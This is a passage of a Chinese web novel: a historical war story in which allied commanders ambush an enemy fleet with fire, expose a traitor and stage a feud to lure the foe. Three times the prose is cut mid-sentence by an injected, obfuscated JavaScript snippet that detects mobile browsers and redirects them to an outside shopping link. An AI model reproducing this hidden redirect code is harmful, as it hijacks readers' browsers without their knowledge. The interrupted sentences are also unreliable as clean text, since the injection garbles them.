不远处火柴噼里啪啦的燃烧着,交谈作乐声此起彼伏,而此处却陷入了一场诡异的寂静。 郭岑。 这个名字如何不熟悉? 那是居川的少年好友,二人幼时曾混迹在一起长达数年,但居川是郁南名门子弟,二人身份地位差距悬殊,因此郭岑被居氏派人找上了门。 这事居川并不知情,他只知晓郭岑突然不告而别,往后十余年不曾再见。 “是你。”居川语气十分平静,“你竟然回来了。” “我听说......”居氏二字被他吞了回去,郭岑避开这道极具锋芒的视线,“你现在还好吗?” “你不觉得你欠我一个解释吗?”居川眼中带着些许戾气,他一只手抓住对方衣襟,逼问道,“当初一声不吭的走,老子跑你家等了你足足十天,最后是别人告诉我,你早就已经离开了,如今过去十年了,你现如今便只有一句我过得好吗?” “对不起。”郭岑呼吸声微微有些重,足有数十秒的寂静中,他说:“此战结束后,我同你去一个地方,到那时,我再跟你解释。” ---- “这人用刀很厉害。”秦祉咬着一块炙肉,“可以查查底细,没什么问题收入麾下,或可为一任大将。” “看上了?”柏萧鹤反问,“你若需要用兵,跟你也是一样。” “他可说要誓死追随你柏都督,跟本王算怎么回事?”秦祉微微笑道,“还是免了。” 直至夜深,冷意逐渐入侵,营帐中归于一片安寂,出征北上迎敌的日子,近在眼前。 天际泛白,一缕霞光破出,高原漫漫间,大片碧绿染上曙光,顷刻绚丽夺目,林野尘土微扬、大地振动,放眼望去,成群的军队正在进发,领头之人是先锋官管宁,眉目盛气凌人,身后数万人马跟随,犹如排山倒海。 “报!”探路士兵纵马而归,“管校尉,前面有树干挡住去路,需要派人清理。” 管宁一扬下巴,吩咐道:“抓紧时间,别耽搁大部队进军。” 先锋官管宁在前开路,队末由居川收尾,韩阁则伴随秦祉身侧,同柏萧鹤三人行于队中。 大小战船已顺端寿西侧峡河运至沄江岸,一行人从端寿顺沄江方位平行而上,最终沿岸汇合,等待时机。 “将军,徐军动了。”斥候来报,“数十万舟师楼船列阵,向我沧州界内出发!” “架火器弓弩,走舸、艨艟摆矩形阵往前顶。” 沄江江面霎时陷入一片严肃的氛围,沧州兵表情凝重,皆目不转睛地盯着视野尽头,好似箭在弦上,紧绷着神经。 水面湍急四溅,鼓声阵阵传来,伴随巨舰破开浪花的声音,瞬间,犹如蝗虫过境,密密麻麻地舰队现身于江面,长达百米,高三层的楼船列于期间,正浩浩荡荡,黑云压境般向南驶来。 “弓箭手预备——” 船头架起的熊熊烈火将江面映的比天日更红,周身好似一片火海,管宁率先搭起一只弓箭,目光果决,势如破竹之势射向徐军,火海滔天中箭雨劈天盖地。 前线走舸隔江对峙,漫天箭雨下,矢石裹挟期间,狠狠炮轰而来,破开女墙。 楼船之上,徐生居高临下,从箭眼朝外看去:“浓烟太大了,根本就看不清对面什么情况,我们不如直接碾过去来的痛快。” “万万不可,尚不知对方兵力如何,轻易出动容易中计。”王戚说,“楚湛来信说,对面此次迎敌,沧州牧任柏萧鹤为作战都督,这人作战不可小觑,我们必须谨慎些为妙。” “不过......撞过去未尝不是好的选择。”王戚冷笑一声,“派两艘赤马舟,上面灌满火油,点燃了直接冲到对面,给他们点大礼。” “对方的赤马舟冲过来了,火攻!是火攻!” 热气蒸腾的火焰掉入江面,连同水温都好似滚烫一般,漫天浓烟中,船只发出惊天碰撞,木质没了女墙皮革的遮挡,瞬间被点燃,窜起数十米高的烈焰,直上云霄。 士兵接二连三地跳入水中,挣扎沉沦,哀嚎声响彻水面。 “所有人避开赤马舟,将船击沉。”秦祉率先下了命令,“对面楼船是主力舰,徐生和主将领必然就在船上,这船可远攻可近守,箭眼极高,眼下火势迅猛浓烟过大,他们看不清不会轻易进军,但若风起烟散,必然会猛烈进攻。” “矢石弓弩调配给一线,盾兵守住,舰队别散!”柏萧鹤蹙眉,趁机问道,“你要奇袭楼船?” “这个时机不行。”柏萧鹤说,“再等等。” “对方队形没散,主力舰两侧舟师严阵以待,如今尚处一线,等到艨艟进攻的时候,二线备战组织起来后才能派走舸杀入座舰。” 秦祉闻言轻微摇头,抬着对方手腕朝前方一指:“二线起,将阵型打乱,派人伪装敌船绕后……” “偷家。” 对垒长达数个时辰后,夜幕降临,两军韬戈卷甲,各自靠岸,沄江千里河面,残渣断木,尸骨血水,顺水而下,自西向东。 “嘶——” 脱下战甲,内里皮肉翻开破溃,鲜血淋漓,金疮药两下扣了上去便算是止血。 “上了药去那边领口粮,今夜还不知道是个什么情况,有可能还会打起来也说不准,叫大家提点神,等守夜交替之后再歇息。” “后方补给几日能到?”管宁靠在树干,胸膛起伏着,微微喘气,“对面兵力没有想象中多,但是暂时不清楚对岸水营驻扎人数,今日交手消耗不算少,过几日若是全线进攻只会更多,所以军需必须跟上。” 秦告的亲信视线从士兵身上一一扫过,略有愁容:“最迟明日午时便到,汝则尉派我先一步来此告知将军,沧州或许有变,为防被人拦截,他曾放出假辎重路线,同时亲自率兵走他路北上,却不料假辎重那边果真遭遇埋伏。” “中了埋伏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025048|126172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 营帐内,秦祉与柏萧鹤对视一眼,后者言简意赅:“假辎重路线画出来。” 那亲信提起笔,落在舆图之上,顺着郁南西侧一路画到三郡交界处,这三郡分别是:郁南、劭关、和端寿。 “假辎重的路线就是这样的,真辎重汝则尉说,殿下有交代,避开端寿走了水路,顺峡河反方向运来的。” “假辎重那边的人还有活口吗?”秦祉问。 “没了。”亲信说,“发现辎重为假,全员服毒自杀,不给我们的人半点反应时间。” “一个活口没留啊。”秦祉轻啧一声,叫人退了下去,“好,知道了,叫秦告一切小心。” “端寿有陆衎盯着,城外若是楚湛的人有了动作,陆绥不会不知道。”秦祉面色凝重道,“那封信中并未提及辎重一事,我只怕汝则内有问题。” “现在势力敌暗我明,但对方已经露了马脚,我想暂时不会再轻易出手。”管宁说道,“眼下当务之急,末将以为是先对抗徐军。” “这就是在对抗徐军啊。”秦祉若有所思,“若是除去楚湛,还有一个势力躲在我们背后,这场仗可就是腹背受敌。” “那便设计引他现身。”柏萧鹤抬眼看她,“辎重一事牵扯人数不多,这人必不会跟随秦告而行,便只有留在汝则,也就是陶卓身边。” “假辎重没有活口,不如将计就计,以假乱真。” 秦祉吩咐道:“派人传信回汝则,就说辎重半路被人烧毁,秦告自以犯了大罪,欲以死谢罪,如今后方补给不足,前线损失惨重,请州牧换粮草押运官前来。” “可如何能确定这新的官员便是那内奸?”管宁问道。 秦祉继而笑道:“他会通风报信的。” ---- “咚咚咚——” 延绵战鼓被敲响,在这深夜大地显得极为震天动地,顿时将所有人从修整的状态拉回至备战时刻。 秦祉从榻上翻身而下,几秒便披上外衣冲了出去:“怎么回事?” “殿下,斥候侦察发现徐军先登踪迹,对方要趁夜袭营。” “还有多远?” “斥候离得近,刚发现动作就连忙往回赶,现在怕是还有段距离。” 江面如今被黑暗取代,入目近乎虚无,秦祉当机立断:“叫所有人回营帐内保持安静不准出来!” “那边敲鼓的停!”她抬手一指,抓着一个人的衣领便扯了回去,“按照队伍躲在营帐守着等候命令。” 沄江边,柏萧鹤迎风而站,朦胧月色勾勒出冷淡的轮廓,身后脚步声匆匆,他并未回头,只开口道:“对方来了两只先登。” “值夜的人精神绷紧了,听见斥候说对面来了人就以为是要奇袭。”夜已深,临岸的温度已经开始觉得有些许冷意,秦祉裹了裹外衣,说,“这些人并不值得恐慌,但若是他们得手,他们身后跟着的家伙,才足够有威胁。” “你说,这夜半三更的,先登连火都不敢点,他们徐军……” “分得清是敌是友吗?” 月光下,秦祉的容颜模糊不清,但那双狡黠的眼,却足够鲜活明亮。 66. 奇袭 “我们要确保营帐能烧起来,要是直接找到粮草就更好了......” “粮草附近必是重兵看守,肯定接近不了,那个就别想了,营帐这边基本上离得近,一旦烧起来也是一大片,够用了。”他轻声说着,“把先登往西开,那边地势高,火势打起来容易往下蔓延。” 先登陷入短暂的一片安静,年纪不大的人又重新开口:“哥,你说我们这回点了火就跑,是不是也有可能活下去啊?” 不可能,沧州的兵不是傻子,更何况这是柏萧鹤亲自带队的精兵,一旦起了火势,他们必死无疑。 这人沉默片刻,说:“或许吧,到时候你跑快点。” 这一行人,冒着必死的决心,偷偷地抹黑一路沿着沄江闯入对岸,赶赴着未知的下场,只为博得一个家族平安。 沧州驻军处一片安静,除了往返的巡视兵,再无其他,几人偷偷将先登藏在岸边,人爬上了岸,顺着河草滚着泥藏匿起来。 “什么人?”巡逻兵察觉后方窸窸窣窣的声响,突然火把一转,回头呵斥。 “什么都没有啊,你别一惊一乍的,再打扰了上面那两位休息。” “不,我分明听到了什么声音。”他说,“我跟你讲,这要是真的是敌军,说不准我就能得个功什么的。” 那人忍不住笑道:“你就是太着急了,我给你个主意,你不如去护着晋赭王的营帐,他整日养尊处优的,为了得民心夺功勋才不得不跟到前线来,你要是得了他的眼,保证你平步登天。” “哎你别说,这个反而更可行,要是我再替他挡个伤什么的,他不得直接封我个官来当啊?”他想着,忍不住低低笑着,“要是真有这一刻,我指定提拔你当我的副将哈哈哈哈......” 两个人举着火把越走越远,逐渐消失在营帐后,几人这才堪堪爬了起来:“哎,听见了吗,他们刚刚说的晋赭王的营帐,就在那边。” “我们要是能烧了他的营帐,说不准真能办成个大事,沿着这边绕过去就好了,要不要试试啊?” “火油都拿了?”为首的人眼角有道疤痕,他并未搭话,只悄声确认着,见几人都纷纷点头,他才继续开口,“成败在此一举,听好了,我们一定要确保火势足以蔓延,不然被对方轻易扑灭,不但会暴露徐军的目的,还容易留下反击的余地。” “我们分成两路,从两侧往里绕,火油直接泼,从营帐到草地,一路连起来,这样点火火势涨的会非常快......” “既然来都来了,晋赭王那边或许有重兵把守,我去试试能不能接近,总之大家小心,千万别被发现了,行动!” 两刻钟后,沧州驻军猛然燃起冲天大火,整片军营陷入一片火海之中,刺鼻的、令人窒息的浓烟顷刻间笼罩河岸,营帐倒塌、木棍折断发出轰然垂地的震响,此起彼伏的哀嚎声埋藏其间,听得并不真切。 “他们成了!”徐生忍不住大笑,手高高一挥,下令道:“全军出击,叫艨艟开阵,赤马舟两侧随行,直接往岸上冲!” 如同破开呼啸暴风的利刃,逐渐于江面展露点点庞大的阴影,火光之中,百只战舰齐行,气势魄人。 “来了!我们的人来了,快走,上先登船! “成功了!我们成功了!徐军可以......”刀疤跑了两步,猛然停下脚步,尽管只身大火,也觉得冷意一阵阵从骨子里蔓延出来,他握着火油的手止不住的颤抖着。 “为什么……” “哥,快跑啊,要不一会儿火势包围,就跑不出去了!” “不、不是……”刀疤冷汗顺着脸颊滑落,好似猛然惊醒一般,他突然拔腿狂奔,冲着河岸大喊:“不、不!” “快去告诉徐军,不、要、过、来——!” “是陷——!” “嗖。” 一只铁箭从火海中窜出,狠狠贯穿胸膛,将人牢牢钉在树干,也截断了他的喊话。 艨艟的最前方,居川收弓冷笑,带着十足的轻蔑,仿佛在看死人一般的,冷漠神色。 他身后,是沧州士兵的一片哀嚎。 “啊——好痛!” “快来人,救火啊!” 一群士兵扯着嗓子冲着驻扎地声嘶力竭的喊话。 “行了。”居川摆了摆手,“别在这演了,吵的我头疼。” “嘿嘿,居校尉,我们这演技不错吧?” “少贫嘴。”他斜眼一睨,说,“调转船头,和柏都督汇合。” 沧州数万精兵早已整装待发,艨艟巨舰虎视眈眈,隐于黑暗,犹如一头恶兽,悄无声息地盯着诱饵引来的猎物。 “他们为了保证巨舰能以阵型直接冲上岸,势必会动用铁链连接,船和船之间间距不会过大。”郭岑说,“只要从一处用小船装着火油混入期间,点燃之后往上撞,那这些战舰便能一连十十连百,火势蔓延从而全军覆没。” “若你是徐军都督,面对此局该如何抉择?”柏萧鹤问。 郭岑一愣,思忖半刻说:“若是属下……” “断锁,只能弃车保帅,让人接应,往回退。”他说着,忽而抬眼,“您的意思是?” “断他后路。” 断个头。 柏萧鹤看着他,半响叹了口气。 “提防困兽犹斗。”秦祉笑道,“正所谓归师勿掩、穷寇莫追【1】。” 赤马舟一马当先,直冲而来,身后楼船巨舰大张旗鼓、紧随其后,面前滔天烈火,身后昏天黑地,伴随一声高喊“冲!”,岸边的战舰顷刻间被火点燃,撞得粉碎。 随着主力舰的靠近,王戚隐约察觉出点不对劲,火势迅猛按理说对方兵马就算来不及灭火,也应该即刻备战,哪里像如今这般,岸上根本听不见任何声响,是舰队杂音太大听不清,还是...... “一举拿下对岸后,明日修整一天再继续向南攻城!”徐生瞳孔之间倒映着红焰,满心都是奇袭成功的欢愉。 “不......”王戚心里翻腾出一种异样的感觉,越滚越大,“不对!是陷阱, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037101|126172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们中计了!” 他突然大喊,“往回退,鸣金收兵!” 钲声凌然响起,传至百里,舰队上的尉官皆闻声大惊,巨舰以铁索相连,距离也相近,此刻骤然下令回返,实属不易之举。 只可惜机不可失、时不再来,与此同时,几艘小船正悄无声息地顺水而行,绕至舰队正中,而后千里舳舻间火光冲天,河面风起云涌,将这暗天沉景照耀地宛如绚烂的朝霞。 沧州舰队这边赫然发出此起彼伏地笑声,居川赤马舟绕回队中,他攀登上船,行礼道:“两只先登船共六人,全部歼灭。” 柏萧鹤颔首,下达最后一条命令:“收尾,击鼓全线进攻。” 号炮高亢凌厉的响起,投石机被水兵推着架在艨艟两侧,矢石铺天盖地飞掷女墙,冲破对方防御,战舰被野火烧毁,连着承受强势猛攻,樯橹接二连三地掉入水下,船上徐军抱头鼠窜,乱作一团。 “将铁链断开!”对面尉官站在船头卸下锁链,“两侧盾兵顶住防御,敌军在西侧进攻,调配艨艟直接撞上去,给主力舰退兵机会!” 火海连成了片,这一战江面红至翌日天明才将将退去,徐军损失足有半数之多,主力舰撤退时满是漏洞,等着鱼来咬钩,只可惜沧州兵马毫不恋战,见好就收,最终沄江满目疮痍,唯剩下残肢断舟、血海无垠...... 端寿东面的县城外,小姑娘拎着鱼篓,惊呼道:“这是什么!” “别看!”她的兄长一把将人从河边捞起,面色铁青地一眨不眨望着那东西,半响忍不住的干呕。 在二人面前,淡红色的江水缓缓流淌,河面上飘荡而来的,是一只烧焦的手臂。 “看来……沄江上游,最近又开始打仗了啊……”老者微微仰头叹道,“也不知这样安稳的日子还能剩下多少时间。” ---- “哈哈哈哈太爽了!”管宁灌下一壶酒,单手撑着地趺坐,战甲卸下后,外袍要挂不挂地披在肩头,内里大片胸肌露出,随着笑声起伏,沁着血的纱布缠在劲瘦的腰间,整个人透露着放荡不羁的野性,“你是没看见我率艨艟杀到徐生座舰时对面那惊恐的表情,要不是都督下令,我都快忍不住上船杀他了。” “谁说不是,这次让徐生吃了个大亏,我看他们损失的那些兵马战舰都能填平沄江岸了,简直就是大快人心!” “在下的确是没想到,你们竟然昨儿个便已经打成了如此模样,所幸我们到的不算晚......”秦告起身行礼,感慨道,“在下代替汝则以及沧州所有百姓,多谢诸位!” “汝则尉客气。”柏萧鹤举杯,声音平淡。 “眼下只是第一轮攻势,徐军不会轻易退军,我们暂且等着崔颉妙那边的消息,一旦有了眉目,便到了第二次交手的时候。”秦祉说着,对秦告颔首道,“汝则那边消息已经递了回去,最近只能请你留在此地,不要声张。” “新的押运官是谁?”秦告连忙问。 秦祉目光幽深,轻声说:“州牧之子,陶祺。 67. 做戏 半月时间,沧州兵马守在北面,与徐军隔江对峙,韩阁奉命随秦告亲信同行,暗中假借身份盯着陶祺,于郁南人赃并获后成功回营。 “确认。”他将军需账目交给秦祉,声音微微干涩,“一样不少,全部缴获。” 秦祉翻了两页,上面记载着此次陶祺负责运送的全部辎重:“陶祺人呢?” “郁南关押,浮生看管。”韩阁说,“事情记录在册,无事走了。” 这人说完,面无表情地转身,眨眼间消失在眼前了。 文书上面内容写的详细,估摸着肯定是找了下属代笔,字迹倒是工整干净,交代的十分清楚。 “陶祺这说法有点意思,说是你名声在外,虎视眈眈,如果此次徐军大败而归,沧州牧一位便非你莫属了。”秦祉笑着合上账目,骂道,“蠢货。” “他与徐行那边没有联系?”柏萧鹤顺手接过秦祉递来的文书,上面记录着陶祺如何提防柏萧鹤和秦祉二人,意图藏匿辎重,致使两败俱伤后,他好渔翁得利的全部举动,“难怪陶卓不愿将州牧之位给他去坐,按照他这水准,徐生自己带兵不出一个月就能拿下沧州。” “哎?”秦祉倏尔想到了什么,眼睛一亮,“嘶……我倒是想到个主意。” 这表情多少带了点不怀好意。 “说说看。”柏萧鹤抬眼。 “将人押到端寿关着。” 不需要多说,柏萧鹤立刻明白了她的意图,忍不住失笑道:“你要利用楚湛去传信徐行?” “如何?”秦祉微微倾身,问道,“将陶祺直接以销毁粮草为由,关到端寿,楚湛若要协助徐军,必会传信。” 柏萧鹤思忖两秒,说:“但徐行未必会轻信楚湛。” “那……要是他的密探也如此转答呢?”秦祉弯唇一笑,“张陏手下安插了一位密探,潜伏在我身侧良久,大概兰干时就一直跟着的,前段时间刚刚有了眉目,我一直压下消息留了一手没有处理。” “如果此事由他去,那么不仅徐行会信,他对楚湛的信任度也会变高。” 柏萧鹤故作惊叹道:“快一年的时间,殿下身边密探竟如此好混,不如给个位置,让我也安插个人手?” “各凭本事。”秦祉微微眯眸,像只饱腹的兽,“如果你不介意密探被我利用的话。” “那若是殿下的密探,我也可以……?” “不可以哦。” ---- 两封信件前后飞到徐行手中之时,猜忌是必不可少的,众人纷纷对视,谁也不敢先开这个口。 张陏展开信扫了过去:“两边口风不太一致,密探传信说的是辎重尽数被烧,后方补给断了,沧州兵马暂时要往回退,等待新的辎重。” “而楚湛则说,辎重尚且还留有一部分,柏萧鹤的退兵恐怕有诈。” “那密探和楚湛有多少值得相信?”说话之人墨发束起,白衣青衫,双眸如画,眉宇间透露着书卷儒雅,正是殷州刺史许文棹。 张陏缓缓勾唇:“从晋赭王一年前去樵阳的休战盟约开始算起,兰干与晋赭的合作,端寿讨阮联盟,晋赭王入都邑,都是从那人口中得知。” “但干了这么多事,难保不会被发现。”他微微摇着便面扇,继续道,“至于楚湛,徐司空将劝降信给过去的时候,这楚湛便有所表示,愿意投靠司空,但他讨了点代价,希望沧州牧一位交给他去坐。” “这么听的话,有没有另一种可能?”司马赵喻思忖两秒,说,“半年前端寿的兑忧书斋一事,楚霁与楚湛之间矛盾不可谓不大,因此楚霁必然对其心生戒备,如此想来,柏萧鹤和楚霁即便当真无粮,也断然不会全盘托出。” 他抬手一点:“那么楚湛的信,便没有问题。” “你认为,密探的信件才是真相。”许文棹将信纸放下,“倒也不无道理。” “先暂且不提辎重是否为假,但攻打沧州一战,此时退兵并不明智,王戚将军那边虽一战败退江岸,但对方武器损失不少,往前攻到端寿,有楚湛里应外合,便不怕对方坚壁清野,粮草、军需、甚至是募兵,必然应有尽有。” “你以为呢?”徐行默不作声地听完后,将问题重新抛给张陏,后者笑说,“胜败取决于楚湛这种不稳定因素的事,在下很不喜欢。” “那依你说该当如何?”赵喻反问道。 “那就要楚湛自己表面立场了。”张陏勾唇。 ---- “监野校尉传信!” 亲卫将一封信纸递交秦祉手中,吸引了数道视线,韩晟率先凑了上去:“怎么样,她那边怎么说?” 上面只留下一句话:“三日后,烧。” 秦祉看完随手将其丢进火烛,几秒时间火焰上窜,留下一团焦黑:“三日之后,崔颉妙会动手,我们必须要让徐军借此机会渡江,否则一旦粮草被烧的消息传来,他们势必全部退兵。” “那个小密探和楚湛的信数日前就已经送出去了。”管宁说,“最近徐军应该会有动作。” “单是最近还不够......”秦祉手指无意识地摩挲着,喃喃道,“最好能刺激一下徐生,创造让他迫不及待想要出兵的那种机会。” “哎,我倒是有个招。”韩晟突然开口,那双不笑时颇为冷冽压迫的眼此刻正饶有兴味,“对方如今颇具忌惮的原因,有很大一部分是因为,镇守此地的人,是殿下与柏都督。” “即便徐生一时头脑不清,但他身后的王戚将军和其余校尉未尝不会冷言相劝。”他止不住地笑意从脸上展露,秦祉莫名觉得有些不怀好意,“所以如果想让对方放下戒备,最佳的时机便是你们二人分开。” “这个时候突然分散,简直就是司马昭之心。”秦祉淡淡反对,“你肯定还有别的想法,对吧?” “哎呀殿下聪明。”韩晟笑道。 又来了! 秦祉无声地闭了闭眼。 “其他什么缘由都显得有些过于生硬,但对方有谁啊殿下,张陏。”韩晟眨了眨眼,示意道,“西州昭川门前的那点事,大家都心照不......啊!” “殿下你干嘛扔我!”韩晟避开了那盏茶,抗议道: “要是有别的主意,倒也不至于牺牲柏都督的名声不是?” “你在意吗?” 耳边低低传来一句问话,秦祉抬眼,对上柏萧鹤极为认真的眼眸:“什么?” “名声。”柏萧鹤说。 “我在意的话,你要替我澄清一下那日马车的谣言吗?”秦祉挑眉反问,“燕室这类传言很多,听听就算了。” “那要是这样的话......”他慢条斯理道。 “你……”闭嘴二字没有出口,那边声音就已经传了出去,“我倒觉得这主意不错。” “是吧!”韩晟拍手道,“外人有传言本就怀疑你们两个人的关系非同一般,如今只要稍加利用,不仅能破除谣言,还能给徐生进攻的机会,一箭双雕。” “只需要……先这样、再那样……”韩晟笑的开心,但角落中韩阁察觉到了什么,微微一掀眼皮,要挨揍了。 果不其然下一秒,秦祉便一巴掌呼他脑袋上去了。 ---- “你也听说了是不是?这事若是闹大了可就不好收场了,殿下究竟在想些什么啊?” “嘘,你小点声,不要命了?”另一人连忙去捂住他的嘴,“这事只是传言,殿下向来名声极好,对待百姓无话可说,未必有传言这般不堪。” “可你也说了那是普通的百姓,柏都督是什么人,那长相那身材,天天搁殿下面前晃悠,那殿下本就喜欢......”他一顿,咬牙道,“那换谁谁不心动?那他一心动了,就要强上人家,可不就出大问题了吗!” “虽然说话糙理不糙的……”那人表情一言难尽,“但是好歹是都督,常胜将军啊,正打着仗呢,殿下未免也太禽兽了。” 营帐之后,话题中的两个人悄声看着:“韩晟那家伙可真够行的,这才多一会儿功夫,全营都要知道了。” 秦祉说着,手肘碰了碰对方:“接下来就差一场戏了,演技稍微提一提,别跟渌水河码头似的。” “我尽量。”柏萧鹤轻笑一声,“事成之后,我带部分兵马走峡河到端寿西面驻扎,剩余人马随你退至端寿内,拟的信不是说楚湛会派人接应,叫韩晟伪装了去见徐生。” “你倒信得过他?” “能说会道,很合适。”柏萧鹤拍了拍她的肩,沉声道,“我开始了。” “记得给我出一笔精神损失费。”很突然的,战戟一挑,秦祉便飞上了天空。 到底这笔损失费应该谁给谁啊! “什么东西飞过去了?” “看着像个人啊,还有点眼熟呢?”这人眯起眼睛,逆着阳光看去,下一秒大惊失色,“殿下!是晋赭王殿下!” 秦祉手腕勾着营帐,顺势一滚,卸掉不少力道,转了几圈后才停下来,蹭了一身的土。 “殿下,您没事吧?” “怎么回事!难道有刺客?”这人大喝一声,“来人,将此营帐包围起来,殿下遇刺了!” 一时之间乱成了一团,秦祉重重吐出一口气,愤愤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047743|126172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甩袖起身,脸色不佳。 闻讯赶来的一群士兵中,为首的是居川和郭岑,前者对此事了如指掌,只抱着看戏的态度站在一旁,但显然郭岑并不知晓发生了何事,见状提刀上前询问:“怎么会有刺客?” 营帐帷幔掀开,一道优越挺拔的身影出现,银刃战戟冷光一闪,此人面容在视野中逐步清晰起来。 容貌未改,气势还在,只是身上的服饰略微有些不整,长袍半开披在身上,露出暗纹绣银线内衬,颇有一股浪子沉醉纵身于花天酒地的放荡。 “啊这......” 众目睽睽之下,郭岑失声了,四目相对之间只能看见彼此眼底震惊、狐疑的复杂情绪。 “柏、柏都督?”郭岑深吸了一口气,而柏萧鹤的目光,却至始至终锁定在身后那位小亲王身上。 如果不是时机不合适,秦祉都忍不住想要鼓掌了,不说别的,就他这扯开自己衣服嫁祸到她头上的举动,他们二人甚至不需要对话,仅仅靠着一个眼神的交流,就足以让谣言再上一个档次。 但是,在众人不易察觉的时候,柏萧鹤冲着她,微微挑了一下眉。 秦祉偏头笑了一下,在郭岑蹙眉的表情中,回敬了一声口哨。 是时候了。 居川理了理衣襟,一个箭步冲了上去,在众人惊恐的眼神中,他一把拽住了柏萧鹤的外衣,互相裹了裹,后者狐疑地一眯眸,心道他哪里来的戏份? 只见居川当即回头哭道:“这便是你们皇室一贯的作风了,可怜我们柏都督一向洁身自好、不染纤尘啊——” “如今也要出淤泥而被染了啊!” 柏萧鹤、秦祉:“......”是不是有病。 “不是吧?这说的是咱们殿下?” “按理说倒也不至于如此饥渴吧?好歹还在军营,对面又是柏都督,郁南这半年士族他杀的还少吗?殿下连这样的人都敢惹,不怕对方一怒之下将他就地正法啊?” “所以说殿下简直是如狼似虎啊……” “这个词不是这么用的。” “那就是饥不择食啊。” “也不是那么用的!” “那......” “够了。”他一把抓住了对方的嘴,强制让此人闭上了。 “本王不过是赏识柏都督,欲交个朋友而已,柏都督何故如此不给面子?”秦祉故作正色道,“如今沧州牧求得本王协助,你作为郁南太守,作战都督,如何不识大局,竟闹得如此场面?” 她微微歪头,颇具盛气凌人的模样,眉眼飞扬,神采奕奕,若是忽略说出口的话,看着倒还......怪可爱的。 不对。 柏萧鹤微微蹙眉,他在想什么呢。 “你的面子?”他冷笑一声,“你看我需要给谁面子吗?” 场面陷入了前所未有的僵直,气氛直转而下,冰冷到极点,士兵里三层外三层的围观,却连大气都不敢喘一下,生怕稍有不慎就成了那个活靶子。 柏萧鹤带着摄人的魄力走到秦祉面前,每一步都像是踏入地狱般,让所有人惊心动魄,生怕这二人突然打起来。 逆光看去,淡漠森寒的面目中,那双眼睛却好似冰雪消融,不带一点攻击性,秦祉抬眼,微微一勾唇,三寸距离,连同呼吸都显得有些滚烫,她只一抬手,揽着柏萧鹤后颈更拉进了一分。 “卧槽!”众人心中几乎同时大喊一声,这不是完蛋了吗!一定会打起来吧…… 至于居川的视角则更是惊骇,这个距离怕不是亲上了吧?这二位做戏有必要到这种份上吗,牺牲太大了吧…… “最迟一日,端寿见。”柏萧鹤声音轻飘飘地落到了她耳中。 秦祉颔首:“端寿见。” 下一刻刀光剑影,匣光宝刀果断出鞘,当即将银刃战戟拦到一旁,韩阁薄唇微抿,用态度无声的表明了自己的立场。 “晋赭王,我们来日方长。”柏萧鹤慢条斯理地咬字,而后收手下令道,“我以都督之名,沧州精兵所有人听命,一刻钟后全员撤兵,走西边驻扎峡河沿路,等待辎重到达后再重新整队迎战。” 沄江风微微吹来,他转身之时,长袍顺势扬起,若即若离地贴到了秦祉手背。 “殿下?” “缺少辎重,在这耗下去也不是办法,过两日别说人,连马吃的苜蓿都不够了,难不成还要跑到河里捞水草吗?”秦祉挥袖朝着反方向走去。 “叫我们的人南下回端寿,总之沧州这事本王不过帮忙而已,他柏萧鹤都撤退了,我在这顶着算怎么回事?大不了就散伙。” 68. 帮凶 数万兵马顷刻之间退却,以两条路线折回端寿,消息一出,徐生那边果然如他们所料,安耐不住那颗蠢蠢欲动的心。 “叔父派人递了话,楚湛已经下手,他从此刻开始,便与陶卓结下血海深仇,因此他势必会助我。”徐生坐在胡床之上,对其下各将领说,“如今柏萧鹤与楚霁二人正针锋相对、分道扬镳,正是我们渡江攻城的好机会啊!” 王戚盘算两秒,狐疑说:“这事说来有些蹊跷,他们二人早前在昭川就有同路,兰干一行就确认同盟,怎的偏生近日闹出这种事来?” “这我倒有所耳闻,昭川那边就有传言说这晋赭王荤素不忌,青天白日的马车上都能兽性大发,做出这些事倒也不足为奇。”一校尉接道,“而且据我所知,这事和都邑令也有点关系呢。” “张陏?”王戚蹙眉打断道,“行了,这事暂且打住不要再提,别最后惹的自己一身腥。” “这么说倒也确实如此。”徐生微微眯起眸,脑海里闪过当日这两人说话的神态,从悠哉喝茶,到无视旁人的闲谈,再到上窜下跳,将他府内上下搅和的一片混乱……越想越气,越气越想,徐生十分突兀地“嘭”的一下,一掌拍在了案几上,给营帐的诸位吓了好大一跳。 “这两个狼狈为奸的狗东西。” “我看这事就是真的,我们也没工夫继续在这耗下去,每多一天就要多浪费一天的粮草。”徐生面色阴沉地吩咐道,“今日楚湛便会派人前来接应,让所有人做好准备连夜出发,攻端寿,夺人头!” ---- “......就是如此,在下韩晟,奉殿下之命前来接应各位。”韩晟嘴角噙着笑,神色坦然地行礼,“对岸有我的人守着,眼下过沄江可保万无一失。” 